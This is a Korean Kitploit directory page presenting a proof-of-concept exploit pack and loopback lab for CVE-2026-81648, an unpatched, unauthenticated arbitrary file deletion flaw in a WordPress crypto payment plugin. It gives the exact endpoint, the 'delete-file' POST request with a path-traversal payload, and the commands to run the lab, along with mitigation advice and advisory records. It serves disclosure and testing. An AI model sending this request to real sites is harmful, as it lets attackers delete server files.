Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-81648 — CVE-2026-81648에 대한 개념 증명 익스플로잇 및 실습 환경으로, WordPress CryptoPayment Gateway 플러그인의 인증되지 않은 임의 파일 삭제 취약점입니다. | Kitploit
도구/GitHubGitHub/abraxas/cve-2026-81648
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityPenetration TestingLabs & Practice
GitHubabraxas/cve-2026-81648

CVE-2026-81648

CVE-2026-81648에 대한 개념 증명 익스플로잇 및 실습 환경으로, WordPress CryptoPayment Gateway 플러그인의 인증되지 않은 임의 파일 삭제 취약점입니다.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Abraxas Labs — CVE-2026-81648 — WordPress

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  CVE-2026-81648

CVE-2026-81648 — WordPress

WordPress — CryptoPayment Gateway 1.2.2 — Granwill

CryptoPayment Gateway WordPress 플러그인 1.2.1부터 1.2.2까지는 AJAX 엔드포인트 중 하나에 권한 부여 검사를 적용하지 않아, 인증되지 않은 사용자가 서버의 임의 파일 삭제, 결제 게이트웨이 구성 덮어쓰기, 저장된 지갑 자격 증명 평문 복구를 포함한 관리자 작업을 호출할 수 있습니다.

CVECVE-2026-81648 · CVE.org
CWECWE-862
CVSSCritical: 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
ProductWordPress — CryptoPayment Gateway
Affected1.2.1–1.2.2
Patched공개 패치 없음 (WPScan: 알려진 수정 없음)
Auth없음 (소스 맵 참조)
LicenseGNU Affero GPL v3.0
Lab127.0.0.1 전용 · 벤더/클라이언트 공개 팩, 스캐너 아님

권고 (소스 맵 기준)

cryptd/ajax.php의 delete-file이 싱크입니다. HTTP는 admin-ajax.php가 아니라 해당 PHP 파일입니다.


진입점

  • Method: POST
  • Path: /wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.php
  • Router: 직접 POST vendor/cryptd/ajax.php function=delete-file. wp_ajax 아님. 경로는 DIR/uploads/ + folder + file_name (uploads에서 5번 .. 하면 wp-content에 도달).
  • Notes: CVE-2026-81648 CWE-862 CryptoPayment Gateway 1.2.2. Witness POCWitness81648 사라짐. 알려진 벤더 패치 없음 (WPScan). 지갑 키를 복구하지 마십시오.

호출 체인

  • GET /wp-content/poc81648/index.php expect POCWitness81648
  • POST ajax.php data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}
  • crpay_file_delete unlinks wp-content/poc81648/index.php
  • GET witness URL no POCWitness81648

랩 사전 조건

  • CryptoPayment Gateway 1.2.2
  • wp-content/poc81648/index.php echoes POCWitness81648

Witness

POCWitness81648은 POST 전에는 존재하고 후에는 없어야 합니다. 삭제 없이 JSON 성공만 나오는 것은 아닙니다.

성공 아님

  • 파일이 사라지지 않은 ajax JSON
  • 여전히 POCWitness81648을 제공
  • wp-config.php 삭제
  • 지갑 키 덤프
  • 리버스 셸

패치 / 완화

먼저 이것을 하십시오: 공개 패치가 없습니다. 벤더 릴리스가 나올 때까지 CryptoPayment Gateway를 비활성화하거나 vendor/cryptd/ajax.php를 차단하십시오.

업그레이드 후 검증

  • 패치된 빌드에 대해 CVE-2026-81648-Abraxas-Labs.py를 다시 실행하십시오: 매핑된 witness가 나타나지 않아야 합니다.
  • 배포된 트리에서 벤더 권고 / 변경 집합을 확인하십시오 (참조 참조).
  • WAF 시그니처는 패치가 아니라 지연입니다.

즉시 업데이트할 수 없는 경우

  • 영향을 받는 구성 요소를 비활성화하거나 격리하십시오.
  • 프로덕션에서 witness 조건을 탐색하십시오 (새 권한 사용자, 예상치 못한 파일, 주입된 행 — 이 CVE의 맵이 명시하는 모든 것).

재현 (승인된 랩)

오직 http://127.0.0.1:8088 (또는 바인딩한 루프백)만 대상으로 하십시오. 이 스크립트를 인터넷에 향하게 하지 마십시오.

root@kitploit:~
python3 CVE-2026-81648-Abraxas-Labs.py

성공은 응답 본문에 위의 witness가 있는 것입니다. 일반적인 200 HTML은 아닙니다.


랩 이미지

재현에 사용된 루프백 스택. 이 폴더의 Dockerfile이 소스에서 빌드하지 않는 한 공식 이미지입니다.

  • lab/docker-compose.yml
  • lab/docker-compose.override.yml
  • lab/Dockerfile
root@kitploit:~
cd lab
docker compose up --force-recreate

YAML이 로컬 디렉터리를 마운트하는 경우 (버전 표의 플러그인 zip / 소스 태그) Compose 옆에 취약한 제품 트리를 바인딩하십시오. 127.0.0.1 외에는 아무것도 게시하지 마십시오.


참조

  • CVE-2026-81648 · NVD

  • CVE-2026-81648 · CVE.org

  • wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/

  • github.com/advisories/GHSA-9r3q-6qw8-8pm7

  • nvd.nist.gov/vuln/detail/CVE-2026-81648

  • wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898

  • 플러그인 디렉터리: cryptopayment-gateway

  • Trac 브라우저: plugins.trac.wordpress.org/cryptopayment-gateway

  • SVN 태그: plugins.svn.wordpress.org/cryptopayment-gateway

  • Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null


기록 (구조화)

root@kitploit:~
# CVE-2026-81648  (structured records)

- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-81648`
- CWE: CWE-862
- published: 2026-09-13T21:17:01.930

## NVD description

The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.

## MITRE description

The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.

## Affected

- Unknown CryptoPayment Gateway 1.2.1 affected

## References (JSON sources only)

- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://github.com/advisories/GHSA-9r3q-6qw8-8pm7
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898

## GitHub advisory

The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization...

The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.

라이선스

이 공개 팩은 GNU Affero General Public License v3.0에 따라 라이선스됩니다. LICENSE를 참조하십시오.


면책 조항

이 팩은 벤더, 사이트 소유자, 라이선스된 랩을 위한 것입니다. 스크립트는 127.0.0.1과 통신합니다. 소유하지 않은 시스템에 사용하는 것은 Abraxas Labs에 의해 승인되지 않습니다. 보증 없음.

abraxaslabs.tech · github.com/abraxas · @abraxas_null

도구 다운로드